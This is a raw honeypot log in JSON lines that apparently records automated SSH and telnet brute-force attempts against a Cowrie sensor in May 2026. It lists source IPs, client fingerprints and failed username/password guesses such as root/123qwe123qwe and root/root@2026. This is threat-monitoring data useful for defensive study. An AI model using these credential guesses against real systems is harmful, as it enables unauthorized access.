{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:7b:24:6f:72:c3:2b:81:3a:3f:9e:35:8a:44:f4:29","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJPBS3YIvVoGB8lohVsmzKk013purO3nGTi4qX1lK/9ht10HYbMwSLgiQFsibXulNhz/sFzUMz6GONVKLnFfnE5h2To2MB6OAyldc8vvNnQ/v+fAgTkIc4b9NpeTmG2PPMy3nAtFmqXGu0y9WX+q/BlK7Yhg6uZPAScu26CSC/JhAAAAFQDK5BiZhB1AQmIwJHTt5binzGZJgQAAAIB1G7/uV00SHixoKAX+rDmSoLNQJKLQ0OZTzxDI0aIoSYCVtNz65CVkOXA3MoH6BuhiBtIWmuG1kVfC9WydprLIHSvV/KOAGepDj6Odt30SdsGL9MY/K7gi5wb3wMCVccqZLcUr8xoye0LbkJBeaAQmNsG673++8AReAzbXQZw4UAAAAIAbeWWqg6/aq31LvwMyoSxrHn+Ubd0P5t9J2SSdQEPFJ0IJRMmXTg+7vZYJ1hqkd3DiboIYF45Qb83wU/R3l+RJvLrPue4H75LhFJ6MWBIs9GzHy0cpIkMgYjpbxbZJaSTaiOHpUQXaU6kwSQxtUKmG5PJH5gm6ohif5xuOgQZBLA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 7f:7b:24:6f:72:c3:2b:81:3a:3f:9e:35:8a:44:f4:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.822138Z","src_ip":"154.16.180.24","session":"a0579817353a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:7b:24:6f:72:c3:2b:81:3a:3f:9e:35:8a:44:f4:29","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJPBS3YIvVoGB8lohVsmzKk013purO3nGTi4qX1lK/9ht10HYbMwSLgiQFsibXulNhz/sFzUMz6GONVKLnFfnE5h2To2MB6OAyldc8vvNnQ/v+fAgTkIc4b9NpeTmG2PPMy3nAtFmqXGu0y9WX+q/BlK7Yhg6uZPAScu26CSC/JhAAAAFQDK5BiZhB1AQmIwJHTt5binzGZJgQAAAIB1G7/uV00SHixoKAX+rDmSoLNQJKLQ0OZTzxDI0aIoSYCVtNz65CVkOXA3MoH6BuhiBtIWmuG1kVfC9WydprLIHSvV/KOAGepDj6Odt30SdsGL9MY/K7gi5wb3wMCVccqZLcUr8xoye0LbkJBeaAQmNsG673++8AReAzbXQZw4UAAAAIAbeWWqg6/aq31LvwMyoSxrHn+Ubd0P5t9J2SSdQEPFJ0IJRMmXTg+7vZYJ1hqkd3DiboIYF45Qb83wU/R3l+RJvLrPue4H75LhFJ6MWBIs9GzHy0cpIkMgYjpbxbZJaSTaiOHpUQXaU6kwSQxtUKmG5PJH5gm6ohif5xuOgQZBLA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.826159Z","src_ip":"154.16.180.24","session":"a0579817353a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"91:09:e1:2b:9b:68:6a:db:76:ea:93:bd:b8:ba:24:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLo+qxrrjRXvwNaGpbLSLysZUtcaHQVFpurIAE0p8xjhK6vdJWqVy1Y5Un/BQqsYITqf627HGPIW+nTOroBkgFzNfJnRFZVUpxKAQJH4J8j08KRViIJEL4E2tW0C0vZuygOGSNS/IZ4b7RzgF8NTVET32j7yp6ZpxoVa9uBgFpEAk49ZdtIG1jji7pd5FUlOLxBpgl7sTCgSXF2SFS3imbHVUH3vswSR3cDJTSOpmF2xcDemrSsOPirEvf01GPegHUvQFa+MVp8bsnSAzEp2MhyDf8oDA7/SB+0zbAh1mk9Os/+VOfmSxZhwn/BWPGJdtjup9XaYijOu1uel2ikc7f","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 91:09:e1:2b:9b:68:6a:db:76:ea:93:bd:b8:ba:24:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.914853Z","src_ip":"154.16.180.24","session":"a0579817353a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"91:09:e1:2b:9b:68:6a:db:76:ea:93:bd:b8:ba:24:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLo+qxrrjRXvwNaGpbLSLysZUtcaHQVFpurIAE0p8xjhK6vdJWqVy1Y5Un/BQqsYITqf627HGPIW+nTOroBkgFzNfJnRFZVUpxKAQJH4J8j08KRViIJEL4E2tW0C0vZuygOGSNS/IZ4b7RzgF8NTVET32j7yp6ZpxoVa9uBgFpEAk49ZdtIG1jji7pd5FUlOLxBpgl7sTCgSXF2SFS3imbHVUH3vswSR3cDJTSOpmF2xcDemrSsOPirEvf01GPegHUvQFa+MVp8bsnSAzEp2MhyDf8oDA7/SB+0zbAh1mk9Os/+VOfmSxZhwn/BWPGJdtjup9XaYijOu1uel2ikc7f","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:56.922002Z","src_ip":"154.16.180.24","session":"a0579817353a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:57.010141Z","src_ip":"154.16.180.24","session":"a0579817353a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe123qwe","message":"login attempt [root/123qwe123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:57.285625Z","src_ip":"103.75.182.198","session":"e6ba33e2c550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.04319500923157,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:58.489502Z","src_ip":"152.42.224.71","session":"e0edfc3d1245","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:58.531753Z","src_ip":"103.75.182.198","session":"e6ba33e2c550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39054,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a6fded0f04a","protocol":"telnet","message":"New connection: 152.42.224.71:39054 (10.17.0.5:23) [session: 3a6fded0f04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:04:59.379515Z"}
{"eventid":"cowrie.session.closed","duration":45.88388776779175,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:02.893477Z","src_ip":"152.42.224.71","session":"0842609005aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.53691005706787,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:03.743232Z","src_ip":"152.42.224.71","session":"68d4a5835711","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":89.01721167564392,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:04.331918Z","src_ip":"152.42.224.71","session":"8458c1ba9296","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34638,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3dc6002c558","protocol":"ssh","message":"New connection: 31.40.204.166:34638 (159.203.135.109:22) [session: b3dc6002c558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:07.083763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:07.089285Z","src_ip":"31.40.204.166","session":"b3dc6002c558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:07.218644Z","src_ip":"31.40.204.166","session":"b3dc6002c558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49394,"dst_ip":"10.17.0.5","dst_port":23,"session":"66d34ee92dde","protocol":"telnet","message":"New connection: 152.42.224.71:49394 (10.17.0.5:23) [session: 66d34ee92dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:07.439608Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:07.691939Z","src_ip":"31.40.204.166","session":"b3dc6002c558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.67482280731201,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:08.303569Z","src_ip":"152.42.224.71","session":"908d5f418558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49406,"dst_ip":"10.17.0.5","dst_port":23,"session":"46e997beec84","protocol":"telnet","message":"New connection: 152.42.224.71:49406 (10.17.0.5:23) [session: 46e997beec84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:08.669166Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:08.904393Z","src_ip":"31.40.204.166","session":"b3dc6002c558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49414,"dst_ip":"10.17.0.5","dst_port":23,"session":"738bd2c692fe","protocol":"telnet","message":"New connection: 152.42.224.71:49414 (10.17.0.5:23) [session: 738bd2c692fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:10.204986Z"}
{"eventid":"cowrie.session.closed","duration":105.27339315414429,"message":"Connection lost after 105 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:13.193573Z","src_ip":"152.42.224.71","session":"329bd4f57512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49418,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6a83c57e055","protocol":"telnet","message":"New connection: 152.42.224.71:49418 (10.17.0.5:23) [session: d6a83c57e055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:13.481132Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49432,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc3ff3e7e459","protocol":"telnet","message":"New connection: 152.42.224.71:49432 (10.17.0.5:23) [session: bc3ff3e7e459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:15.244590Z"}
{"eventid":"cowrie.session.closed","duration":120.0039644241333,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:17.913121Z","src_ip":"152.42.224.71","session":"e16bd26ec6d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53440,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3bb947fab44","protocol":"ssh","message":"New connection: 31.40.204.166:53440 (159.203.135.109:22) [session: a3bb947fab44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:18.885200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:18.896796Z","src_ip":"31.40.204.166","session":"a3bb947fab44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:19.013472Z","src_ip":"31.40.204.166","session":"a3bb947fab44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@2026","message":"login attempt [root/root@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:19.809793Z","src_ip":"31.40.204.166","session":"a3bb947fab44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46144,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d0fa43ff794","protocol":"telnet","message":"New connection: 152.42.224.71:46144 (10.17.0.5:23) [session: 6d0fa43ff794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:19.947527Z"}
{"eventid":"cowrie.session.closed","duration":56.97388410568237,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:20.857328Z","src_ip":"152.42.224.71","session":"a64b62366cef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:20.999063Z","src_ip":"31.40.204.166","session":"a3bb947fab44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.715790033340454,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:21.920631Z","src_ip":"152.42.224.71","session":"738bd2c692fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46146,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7f2c0861985","protocol":"telnet","message":"New connection: 152.42.224.71:46146 (10.17.0.5:23) [session: e7f2c0861985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:23.884745Z"}
{"eventid":"cowrie.session.closed","duration":36.96559119224548,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:24.698266Z","src_ip":"152.42.224.71","session":"ddcc9e3c62e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46160,"dst_ip":"10.17.0.5","dst_port":23,"session":"418cd7f74a4e","protocol":"telnet","message":"New connection: 152.42.224.71:46160 (10.17.0.5:23) [session: 418cd7f74a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:24.944906Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42968,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5d4d2bc0668","protocol":"telnet","message":"New connection: 152.42.224.71:42968 (10.17.0.5:23) [session: c5d4d2bc0668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:28.914249Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35190,"dst_ip":"159.203.135.109","dst_port":22,"session":"abd216f1b884","protocol":"ssh","message":"New connection: 31.40.204.166:35190 (159.203.135.109:22) [session: abd216f1b884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:31.782738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:31.881888Z","src_ip":"31.40.204.166","session":"abd216f1b884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:31.915771Z","src_ip":"31.40.204.166","session":"abd216f1b884","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:32.826181Z","src_ip":"31.40.204.166","session":"abd216f1b884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:33.993253Z","src_ip":"31.40.204.166","session":"abd216f1b884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.00250816345215,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:34.671562Z","src_ip":"152.42.224.71","session":"46e997beec84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":54238,"dst_ip":"10.17.0.5","dst_port":22,"session":"add25994c3a8","protocol":"ssh","message":"New connection: 103.183.114.55:54238 (10.17.0.5:22) [session: add25994c3a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:35.066028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:35.070415Z","src_ip":"103.183.114.55","session":"add25994c3a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:35.292745Z","src_ip":"103.183.114.55","session":"add25994c3a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42982,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bfc0b33d956","protocol":"telnet","message":"New connection: 152.42.224.71:42982 (10.17.0.5:23) [session: 5bfc0b33d956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:35.321458Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123aaa","message":"login attempt [root/123aaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:36.146989Z","src_ip":"103.183.114.55","session":"add25994c3a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:37.367913Z","src_ip":"103.183.114.55","session":"add25994c3a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":47536,"dst_ip":"159.203.135.109","dst_port":22,"session":"c152e305150b","protocol":"ssh","message":"New connection: 31.40.204.166:47536 (159.203.135.109:22) [session: c152e305150b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:43.882633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:05:43.887432Z","src_ip":"31.40.204.166","session":"c152e305150b","protocol":"ssh"}
